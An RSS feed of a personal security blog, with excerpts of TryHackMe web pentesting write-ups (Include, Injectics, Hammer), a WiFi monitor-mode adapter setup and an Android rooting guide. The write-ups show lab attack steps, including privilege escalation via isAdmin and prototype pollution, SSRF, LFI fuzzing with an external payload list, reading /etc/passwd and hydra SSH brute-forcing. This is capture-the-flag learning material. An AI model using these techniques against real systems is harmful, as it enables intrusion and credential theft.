<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom"><channel><title>Posts on Silent Resistor</title><link>https://silent-resistor.github.io/posts/</link><description>Recent content in Posts on Silent Resistor</description><generator>Hugo</generator><language>en-us</language><lastBuildDate>Sun, 29 Mar 2026 00:00:00 +0000</lastBuildDate><atom:link href="https://silent-resistor.github.io/posts/index.xml" rel="self" type="application/rss+xml"/><item><title>WiFi Hack Setup Guide - Atheros AR9271</title><link>https://silent-resistor.github.io/posts/wifi-hack-setup-guide/</link><pubDate>Sun, 29 Mar 2026 00:00:00 +0000</pubDate><guid>https://silent-resistor.github.io/posts/wifi-hack-setup-guide/</guid><description>&lt;h2 id="overview"&gt;Overview&lt;/h2&gt;
&lt;p&gt;This guide walks you through the painful process of weaponizing an Atheros AR9271 WiFi adapter with your Linux machine and VM running inside it on KVM/QEMU.&lt;/p&gt;
&lt;h2 id="prerequisites"&gt;Prerequisites&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;A Linux host machine with KVM/QEMU&lt;/li&gt;
&lt;li&gt;VM on KVM/QEMU&lt;/li&gt;
&lt;li&gt;An Atheros AR9271 WiFi adapter&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="chapter-1-host-machine-reconnaissance"&gt;Chapter 1: Host Machine Reconnaissance&lt;/h2&gt;
&lt;h3 id="11-identifying-the-wifi-adapter"&gt;1.1 Identifying the WiFi Adapter&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Recently I purchased a WiFi adapter for my pentesting lab on Amazon. I verified clearly in the product description that it supports monitor mode and packet injection: &lt;strong&gt;&amp;ldquo;2.4GHz 802.11n 150Mbps USB Wireless WiFi Adapter with 3dBi External Antenna for Atheros AR9271 Kali Linux Ubuntu Centos Desktop Windows, Black&amp;rdquo;&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;After receiving it, I noticed there&amp;rsquo;s no proper white label or branding on the product body indicating it belongs to a particular company. I&amp;rsquo;m a bit tense because I thought it might be a duplicate product. But after a little research, I found that this is quite common for these generic adapters.&lt;/li&gt;
&lt;li&gt;So, without wasting more time, I plugged the device into my Linux host machine and checked if it was detected.
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# Initially I checked it with lspci, and it turns out it only lists devices&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# connected to the PCI bus like graphics cards, internal WiFi cards, etc.&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;lspci | grep Network
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# 04:00.0 Network controller: MEDIATEK Corp. Device 9999&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# Since the inserted device is a USB wireless adapter, it connects via USB bus&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# Its vendor_id: 0xfw, product_id: 0x9213&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;lsusb | grep -i AR9271
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# Bus 001 Device 010: ID 0xfw:9213 Qualcomm Atheros Communications AR9271 802.11n&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# It&amp;#39;s good to know that the device is recognized, now let&amp;#39;s check the connections&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;ip link show
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# 20: wlxbc307e231dg8: &amp;lt;NO-CARRIER,BROADCAST,MULTICAST,UP&amp;gt; mtu 1500 qdisc noqueue state DOWN mode DORMANT group default qlen 1000&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# link/ether 16:16:36:71:f7:d8 brd ff:ff:ff:ff:ff:ff permaddr bc:33:7e:29:2c:f1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;ul&gt;
&lt;li&gt;It seems all good, please make note of the interface name &lt;code&gt;wlxbc307e231dg8&lt;/code&gt; and the MAC address &lt;code&gt;bc:33:7e:29:2c:f1&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;I understand the weird name of the interface, and we can try to rename it to something shorter in the next steps.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="12-testing-monitor-mode-and-packet-injection-in-linux-host"&gt;1.2 Testing Monitor Mode and Packet Injection in Linux Host&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Without thinking much, I started playing with the Aircrack-ng suite.&lt;/p&gt;</description></item><item><title>Include - Web Pentesting - Tryhackme</title><link>https://silent-resistor.github.io/posts/include/</link><pubDate>Sun, 15 Mar 2026 00:00:00 +0000</pubDate><guid>https://silent-resistor.github.io/posts/include/</guid><description>&lt;ul&gt;
&lt;li&gt;Added &lt;code&gt;10.48.159.228 include.thm&lt;/code&gt; to &lt;code&gt;/etc/hosts&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Upon the nmap scan, we discovered there are two webservers running on the machine.
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-sh" data-lang="sh"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;#Nmap 7.95 scan initiated Sat Feb 28 07:26:57 2026 as: nmap -A -p4000,50000 -sC --script=*http-vuln* -oN include-new.nmap 10.48.159.228&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Nmap scan report &lt;span style="color:#66d9ef"&gt;for&lt;/span&gt; 10.48.159.228
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Host is up &lt;span style="color:#f92672"&gt;(&lt;/span&gt;0.024s latency&lt;span style="color:#f92672"&gt;)&lt;/span&gt;.
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;PORT STATE SERVICE VERSION
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;4000/tcp open http Node.js &lt;span style="color:#f92672"&gt;(&lt;/span&gt;Express middleware&lt;span style="color:#f92672"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;50000/tcp open http Apache httpd 2.4.41 &lt;span style="color:#f92672"&gt;((&lt;/span&gt;Ubuntu&lt;span style="color:#f92672"&gt;))&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;|_http-vuln-cve2017-1001000: ERROR: Script execution failed &lt;span style="color:#f92672"&gt;(&lt;/span&gt;use -d to debug&lt;span style="color:#f92672"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Warning: OSScan results may be unreliable because we could not find at least &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt; open and &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt; closed port
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Aggressive OS guesses: Linux 4.15 - 5.19 &lt;span style="color:#f92672"&gt;(&lt;/span&gt;96%&lt;span style="color:#f92672"&gt;)&lt;/span&gt;, Linux 4.15 &lt;span style="color:#f92672"&gt;(&lt;/span&gt;95%&lt;span style="color:#f92672"&gt;)&lt;/span&gt;, Linux 5.4 &lt;span style="color:#f92672"&gt;(&lt;/span&gt;95%&lt;span style="color:#f92672"&gt;)&lt;/span&gt;, Adtran 424RG FTTH gateway &lt;span style="color:#f92672"&gt;(&lt;/span&gt;92%&lt;span style="color:#f92672"&gt;)&lt;/span&gt;, Android &lt;span style="color:#ae81ff"&gt;9&lt;/span&gt; - &lt;span style="color:#ae81ff"&gt;10&lt;/span&gt; &lt;span style="color:#f92672"&gt;(&lt;/span&gt;Linux 4.9 - 4.14&lt;span style="color:#f92672"&gt;)&lt;/span&gt; &lt;span style="color:#f92672"&gt;(&lt;/span&gt;92%&lt;span style="color:#f92672"&gt;)&lt;/span&gt;, Linux 2.6.32 &lt;span style="color:#f92672"&gt;(&lt;/span&gt;92%&lt;span style="color:#f92672"&gt;)&lt;/span&gt;, Linux 2.6.39 - 3.2 &lt;span style="color:#f92672"&gt;(&lt;/span&gt;92%&lt;span style="color:#f92672"&gt;)&lt;/span&gt;, Linux 3.11 &lt;span style="color:#f92672"&gt;(&lt;/span&gt;92%&lt;span style="color:#f92672"&gt;)&lt;/span&gt;, Linux 3.7 - 4.19 &lt;span style="color:#f92672"&gt;(&lt;/span&gt;92%&lt;span style="color:#f92672"&gt;)&lt;/span&gt;, Synology DiskStation Manager 5.1 &lt;span style="color:#f92672"&gt;(&lt;/span&gt;Linux 3.2&lt;span style="color:#f92672"&gt;)&lt;/span&gt; &lt;span style="color:#f92672"&gt;(&lt;/span&gt;92%&lt;span style="color:#f92672"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;No exact OS matches &lt;span style="color:#66d9ef"&gt;for&lt;/span&gt; host &lt;span style="color:#f92672"&gt;(&lt;/span&gt;test conditions non-ideal&lt;span style="color:#f92672"&gt;)&lt;/span&gt;.
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Network Distance: &lt;span style="color:#ae81ff"&gt;3&lt;/span&gt; hops
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li&gt;Directory enumeration on both webservers didn&amp;rsquo;t yield any useful results.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;http://include.thm:4000&lt;/code&gt; - The creator is allowing me to sign in with guest/guest&lt;/li&gt;
&lt;li&gt;Upon signing in, I opened my profile with &lt;code&gt;http://include.thm:4000/friend/1&lt;/code&gt;. I discovered that the website is vulnerable to IDOR.&lt;/li&gt;
&lt;li&gt;And I also discovered that it&amp;rsquo;s allowing me to change the profile parameters including admin status. I just added &lt;code&gt;isAdmin=true&lt;/code&gt; in the input fields and it worked. Now I am admin and I can see the Admin Settings option.&lt;/li&gt;
&lt;li&gt;We can also try here like &lt;code&gt;__proto__:{isAdmin:true}&lt;/code&gt; to make everyone as admin. (Prototype pollution)&lt;/li&gt;
&lt;li&gt;Upon looking at the API option, it lists a few endpoints that reveal admin credentials.&lt;/li&gt;
&lt;li&gt;Upon looking at the Admin Settings, I found a file upload option. By inspecting the HTTP request using Burp, I get to know that the file upload is vulnerable to SSRF. I used the endpoints mentioned in the API as the URL parameter, and it worked, revealing the admin credentials.&lt;/li&gt;
&lt;li&gt;Used these admin credentials in &lt;code&gt;http://include.thm:50000/login.php&lt;/code&gt; and I can see the first flag.&lt;/li&gt;
&lt;li&gt;Upon inspecting the source of &lt;code&gt;http://include.thm:50000/dashboard.php&lt;/code&gt;, there is a picture included with the path &lt;code&gt;http://include.thm:50000/profile?img=profile.png&lt;/code&gt;. And it&amp;rsquo;s easy to suspect that this is vulnerable to LFI.&lt;/li&gt;
&lt;li&gt;So, I got the list of payloads from &lt;code&gt;https://raw.githubusercontent.com/emadshanab/LFI-Payload-List/refs/heads/master/LFI%20payloads.txt&lt;/code&gt;, and tried them all.
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;curl -fsSL https://raw.githubusercontent.com/emadshanab/LFI-Payload-List/refs/heads/master/LFI%20payloads.txt &amp;gt; lfipayload.txt
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;ffuf -u http://include.thm:50000/profile.php?img&lt;span style="color:#f92672"&gt;=&lt;/span&gt;FUZZ -w payloads -H &lt;span style="color:#e6db74"&gt;&amp;#39;Cookie: PHPSESSID=vd4grnj98tqti28pc9lkc3dleu; connect.sid=s%3A5nvACvg5GVI-6f5cQxtCADkInn0mGaXp.9OzVoXF%2FllJgSXipRexPSF%2BZUG6sog6%2BtPrx%2Ffeu%2B8g&amp;#39;&lt;/span&gt; -mc &lt;span style="color:#ae81ff"&gt;200&lt;/span&gt; -fs &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li&gt;It will reveal the file &lt;code&gt;/etc/passwd&lt;/code&gt; with users: charles, joshua&lt;/li&gt;
&lt;li&gt;Let&amp;rsquo;s brute force the SSH passwords for these users.
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;hydra -l charles -P /usr/share/wordlists/rockyou.txt ssh://include.thm -I -t &lt;span style="color:#ae81ff"&gt;4&lt;/span&gt; &lt;span style="color:#75715e"&gt;# 123456&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;hydra -l joshua -P /usr/share/wordlists/rockyou.txt ssh://include.thm -I -t &lt;span style="color:#ae81ff"&gt;4&lt;/span&gt; &lt;span style="color:#75715e"&gt;# 123456&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li&gt;Get inside via SSH as charles or joshua and get the second flag from the &lt;code&gt;/var/www/html&lt;/code&gt; directory.&lt;/li&gt;
&lt;/ul&gt;</description></item><item><title>Unlock Bootloader in Android, Root it, and Install Kali Net Hunter</title><link>https://silent-resistor.github.io/posts/unlock-bootloader-and-install-kali-net-hunter/</link><pubDate>Sat, 28 Feb 2026 00:00:00 +0000</pubDate><guid>https://silent-resistor.github.io/posts/unlock-bootloader-and-install-kali-net-hunter/</guid><description>&lt;h2 id="1-overview"&gt;1. Overview:&lt;/h2&gt;
&lt;p&gt;This miserable guide will drag you through the painful process of unlocking your Android device&amp;rsquo;s bootloader, rooting it, and installing Kali Linux NetHunter. Follow these steps desperately if you want to succeed, or don&amp;rsquo;t, whatever.&lt;/p&gt;
&lt;h3 id="table-of-contents"&gt;Table of contents&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://silent-resistor.github.io/posts/unlock-bootloader-and-install-kali-net-hunter/#1-overview"&gt;1. Overview:&lt;/a&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://silent-resistor.github.io/posts/unlock-bootloader-and-install-kali-net-hunter/#table-of-contents"&gt;Table of contents&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;a href="https://silent-resistor.github.io/posts/unlock-bootloader-and-install-kali-net-hunter/#2-prerequisites"&gt;2. Prerequisites:&lt;/a&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://silent-resistor.github.io/posts/unlock-bootloader-and-install-kali-net-hunter/#21-hardware-requirements"&gt;2.1 Hardware Requirements&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://silent-resistor.github.io/posts/unlock-bootloader-and-install-kali-net-hunter/#22-software-requirements"&gt;2.2 Software Requirements&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://silent-resistor.github.io/posts/unlock-bootloader-and-install-kali-net-hunter/#23-setting-up-usb-debugging"&gt;2.3 Setting Up USB Debugging&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://silent-resistor.github.io/posts/unlock-bootloader-and-install-kali-net-hunter/#24-understand-some-theory-behind-bootloader-unlocking"&gt;2.4 Understand some theory behind bootloader unlocking&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;a href="https://silent-resistor.github.io/posts/unlock-bootloader-and-install-kali-net-hunter/#3-an-exploitation"&gt;3. An Exploitation&lt;/a&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://silent-resistor.github.io/posts/unlock-bootloader-and-install-kali-net-hunter/#31-setting-up-the-environment"&gt;3.1 Setting up the environment&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://silent-resistor.github.io/posts/unlock-bootloader-and-install-kali-net-hunter/#32-the-button-method-to-get-brom-access"&gt;3.2 The &amp;ldquo;Button&amp;rdquo; Method to get BROM access&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://silent-resistor.github.io/posts/unlock-bootloader-and-install-kali-net-hunter/#33-the-hardware-unlock"&gt;3.3 The Hardware unlock&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://silent-resistor.github.io/posts/unlock-bootloader-and-install-kali-net-hunter/#34-erase-the-corrupted-data-states"&gt;3.4 Erase the corrupted Data states&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://silent-resistor.github.io/posts/unlock-bootloader-and-install-kali-net-hunter/#35-verification-of-unlocked-bootloader"&gt;3.5 Verification of unlocked bootloader&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;a href="https://silent-resistor.github.io/posts/unlock-bootloader-and-install-kali-net-hunter/#4-the-rooting-process"&gt;4. The Rooting Process&lt;/a&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://silent-resistor.github.io/posts/unlock-bootloader-and-install-kali-net-hunter/#41-some-basics"&gt;4.1 Some Basics&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://silent-resistor.github.io/posts/unlock-bootloader-and-install-kali-net-hunter/#42-get-the-phone-a-brain-install-fresh-os"&gt;4.2 Get the Phone a Brain (Install Fresh OS)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://silent-resistor.github.io/posts/unlock-bootloader-and-install-kali-net-hunter/#43-rooting-for-nethunter"&gt;4.3 Rooting for Nethunter&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://silent-resistor.github.io/posts/unlock-bootloader-and-install-kali-net-hunter/#44-installing-kali-nethunter"&gt;4.4 Installing Kali NetHunter&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;a href="https://silent-resistor.github.io/posts/unlock-bootloader-and-install-kali-net-hunter/#5-a-surgical-strike-on-all-trackers-and-de-googling"&gt;5. A Surgical Strike on all trackers and De-Googling&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://silent-resistor.github.io/posts/unlock-bootloader-and-install-kali-net-hunter/#6-how-do-we-use-kali-nethunter-phones-on-our-laptop"&gt;6. How do we use Kali NetHunter (Phone&amp;rsquo;s) on our Laptop?&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="2-prerequisites"&gt;2. Prerequisites:&lt;/h2&gt;
&lt;h3 id="21-hardware-requirements"&gt;2.1 Hardware Requirements&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Some Android device that hopefully works with NetHunter&lt;/li&gt;
&lt;li&gt;A USB cable that hopefully isn&amp;rsquo;t broken&lt;/li&gt;
&lt;li&gt;Linux computer (Ubuntu/Debian, because we&amp;rsquo;re all suffering anyway)&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="22-software-requirements"&gt;2.2 Software Requirements&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;ADB (Android Debug Bridge) and Fastboot tools&lt;/li&gt;
&lt;li&gt;Android Studio (optional, comes with those platform tools we need)&lt;/li&gt;
&lt;li&gt;Let&amp;rsquo;s figure out how to install these damn tools with one of these two desperate options:&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# Option:1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# Install ADB and Fastboot using package manager&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sudo apt update
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sudo apt install android-tools-adb android-tools-fastboot
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# Option:2&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# If you have Android Studio installed, the tools are located at:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;ls -l $HOME/Android/Sdk/platform-tools/
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# Add to your PATH for easier access:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;echo &lt;span style="color:#e6db74"&gt;&amp;#39;export PATH=$PATH:/path/to/Android/Sdk/platform-tools&amp;#39;&lt;/span&gt; &amp;gt;&amp;gt; ~/.bashrc
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;source ~/.bashrc
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="23-setting-up-usb-debugging"&gt;2.3 Setting Up USB Debugging&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Enable Developer Options on Android&lt;/p&gt;</description></item><item><title>Injectics - Web-pentesting - Tryhackme</title><link>https://silent-resistor.github.io/posts/injectics/</link><pubDate>Sun, 08 Feb 2026 00:00:00 +0000</pubDate><guid>https://silent-resistor.github.io/posts/injectics/</guid><description>&lt;h2 id="part1-reconnissance"&gt;Part1: Reconnissance&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Upon Nmap scap at the given target machine, reveals a webserver running at 80.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;HTPP Server: Apache/2.4.41 (Ubuntu)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;A quick visit on site, reveals it has&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Home Page&lt;/li&gt;
&lt;li&gt;Login Page&lt;/li&gt;
&lt;li&gt;Admin Login Page&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Having a look at source of Home page (http://10.49.134.13/index.php), gives some qlues&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Website developed by &lt;strong&gt;John Tim&lt;/strong&gt;- &lt;a href="mailto:dev@injectics.thm"&gt;dev@injectics.thm&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Mails are stored in &lt;strong&gt;mail.log&lt;/strong&gt; file&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Looking at &lt;strong&gt;mail.log&lt;/strong&gt; (http://10.49.134.13/mail.log)&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;John said in mail to superadmins that &amp;ldquo;I have configured the service to automatically insert default credentials into the &lt;code&gt;users&lt;/code&gt; table if it is ever deleted or becomes corrupted&amp;rdquo;&lt;/li&gt;
&lt;li&gt;And a default credentials if table &lt;code&gt;users&lt;/code&gt; is deleted.&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| Email | Password 	 |
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;|---------------------------|-------------------------|
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| superadmin@injectics.thm | superSecurePasswd101 |
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| dev@injectics.thm | devPasswd123 |
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Did a directory enumeration at root of website using &lt;code&gt;dirsearch&lt;/code&gt;, which uses its own wordlist available at &lt;code&gt;/usr/lib/python3/dist-packages/dirsearch/db&lt;/code&gt; directory.&lt;/p&gt;</description></item><item><title>Hammer - Web-pentesting - tryhackme</title><link>https://silent-resistor.github.io/posts/hammer/</link><pubDate>Sat, 31 Jan 2026 00:00:00 +0000</pubDate><guid>https://silent-resistor.github.io/posts/hammer/</guid><description>&lt;h2 id="intial-observation"&gt;Intial observation&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Upon doing a nmap scan on the target machine, we get know - there is webserver running on port 1337&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;I had a closed look at the website, i do not find any of flags. except login page code left comment saying &lt;code&gt;&amp;lt;!-- Dev Note: Directory naming convention must be hmr_DIRECTORY_NAME --&amp;gt;&lt;/code&gt;. So, why dont scan all the dir starting with hmr_&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;ffuf -u &lt;span style="color:#e6db74"&gt;&amp;#39;http://10.49.149.19:1337/hmr_FUZZ&amp;#39;&lt;/span&gt; -w /usr/share/wordlists/dirb/big.txt 
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;css &lt;span style="color:#75715e"&gt;# nothing, but a bootstrap css&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;images &lt;span style="color:#75715e"&gt;# A hammer image&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;js &lt;span style="color:#75715e"&gt;# min.js file, i do not think its usefull&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;logs &lt;span style="color:#75715e"&gt;# Seems, i found a error.logs, it may reveal some information.&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;ul&gt;
&lt;li&gt;Upon observing the /hmr_logs/error.logs file, following info is revealed.&lt;/li&gt;
&lt;/ul&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;webdir: /var/www/html
A test user: { email = tester@hammer.thm }
/restricted-area&amp;#34; - denied server configuration
/home/hammerthm/test.php - denied by server configuration
/admin-login - probably admin page, test user tried to loggin in admin, but failed - so he is not admin.
&lt;/code&gt;&lt;/pre&gt;&lt;ul&gt;
&lt;li&gt;Again Did a directory enumeration as whole on website :)&lt;/li&gt;
&lt;/ul&gt;
